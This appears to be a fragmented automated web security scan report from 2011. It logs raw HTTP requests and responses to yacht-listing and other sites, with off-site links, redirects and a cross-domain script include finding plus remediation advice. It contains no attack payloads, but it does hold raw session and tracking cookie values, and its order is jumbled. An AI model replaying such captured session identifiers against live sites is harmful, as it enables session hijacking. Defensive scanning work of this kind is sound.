s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:26:17 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:31:22 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 27627
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/rendering/email-boat.htm?url=legendary&boatId=2266476&units=Feet&officeId=75325&boatUrl=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:59 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/sponsored-boats/search.htm?page=1¤cyid=100&luom=126 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:50 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response contains the following link to another domain:
http://www.starlingmarine.com/
Request
GET /leaving_yw.cgi?url=http://www.starlingmarine.com HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:25 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
...[SNIP]... mporarily leaving YachtWorld. Please make a note of our URL, or bookmark our homepage to return easily. You can also use the "back" button on your browser to return, when you are finished browsing the <A HREF="http://www.starlingmarine.com"><strong> ...[SNIP]... <CENTER>Please <A HREF="http://www.starlingmarine.com">visit the <strong> ...[SNIP]...
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:13:19 GMT Location: http://www.regulatormarine.com/ Content-Length: 215 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.regulatormarine.com/">here</a>.</p>
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:15:47 GMT Location: http://www.starlingmarine.com/ Content-Length: 214 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.starlingmarine.com/">here</a>.</p> < ...[SNIP]...
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:15:47 GMT Location: http://www.regulatormarine.com/quality.html Content-Length: 227 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.regulatormarine.com/quality.html">here</a> ...[SNIP]...
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:15:41 GMT Location: http://www.google.com/aclk?sa=L&ai=Cm47CV8RBTcz9Kou-gweIp7S4D8-vrpsB6_PLjBLH8KqbDhABIPv-gQMoBVCC5-6f_P____8BYMmGgICkJMgBAaoEFk_QyO3vo-O46wyLTQ9JmSzi2yUCEUU&num=1&sig=AGiWqtyhTC0jFG4wfWy9ja8wUS0dXQ_rbg&adurl=http://www.AtlanticMarineSales.com Content-Length: 441 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.google.com/aclk?sa=L&ai=Cm47CV8RBTcz9Kou-gweIp7S4D8-vrpsB6_PLjBLH8KqbDhABIPv-gQMoBVCC5-6f_P____8BYMmGgICkJMgBAaoEFk_QyO3vo-O46wyLTQ9JmSzi2yUCEUU&num=1&sig=AGiWqtyhTC0jFG4wfWy9ja8wUS0dXQ_rbg&adurl=http://www.AtlanticMarineSales.com">here</a> ...[SNIP]...
13. Cross-domain script includepreviousnext There are 40 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /north-carolina/boat-registration HTTP/1.1 Host: govguru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
GET /CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh HTTP/1.1 Host: hire.jobvite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=hohum555xhe001j4fainx255; path=/; HttpOnly X-AspNet-Version: 2.0.50727 Set-Cookie: guestidc=04748c45-cae2-4fea-a87a-0039dff74982; expires=Sat, 26-Feb-2011 19:13:08 GMT; path=/ X-Powered-By: ASP.NET Date: Thu, 27 Jan 2011 19:13:08 GMT Connection: close Content-Length: 46678
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <link href="http://hire.jo ...[SNIP]... </script> <script type="text/javascript" src="http://www.linkedin.com/companyInsider?script&useBorder=no"></script> ...[SNIP]...
GET /about HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:08 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 15111
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>jQuery UI - About jQuery UI - The jQuery UI Team</title>
GET /themeroller/ HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:09 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 117007
GET /jquery/cycle/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... </script><script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script> ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... </script><script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script> ...[SNIP]...
GET /boat-transport/index.jsp?source=yachtworld&yw_country=US HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head><script>var __$1a49={BaseUrl:(("https:"==document.location.protocol)?"https:":"http:")+"//analytics.strangeloopnetworks.com/",Gi ...[SNIP]... <link rel="stylesheet" type="text/css" href="http://www.yachtworld.com/core/cached/includes/css/dropmenus.css?11.4-Build-62" />
The response dynamically includes the following script from another domain:
https://ssl.google-analytics.com/urchin.js
Request
GET /pboats/browse/Make/Regulator/search.html HTTP/1.1 Host: www.boatxchange.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:43:29 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8n PHP/5.2.3 mod_jk/1.2.30 Set-Cookie: JSESSIONID=F9EB4170B90548636802CC9D85DA196C.tomcat1; Path=/pboats Content-Language: en Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 39986
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <?xml version="1.0" encoding="iso-8859-1"?><html xmlns="http://www.w3.org/199 ...[SNIP]... </div>
GET /dynamicindex1/ddlevelsmenu/ HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
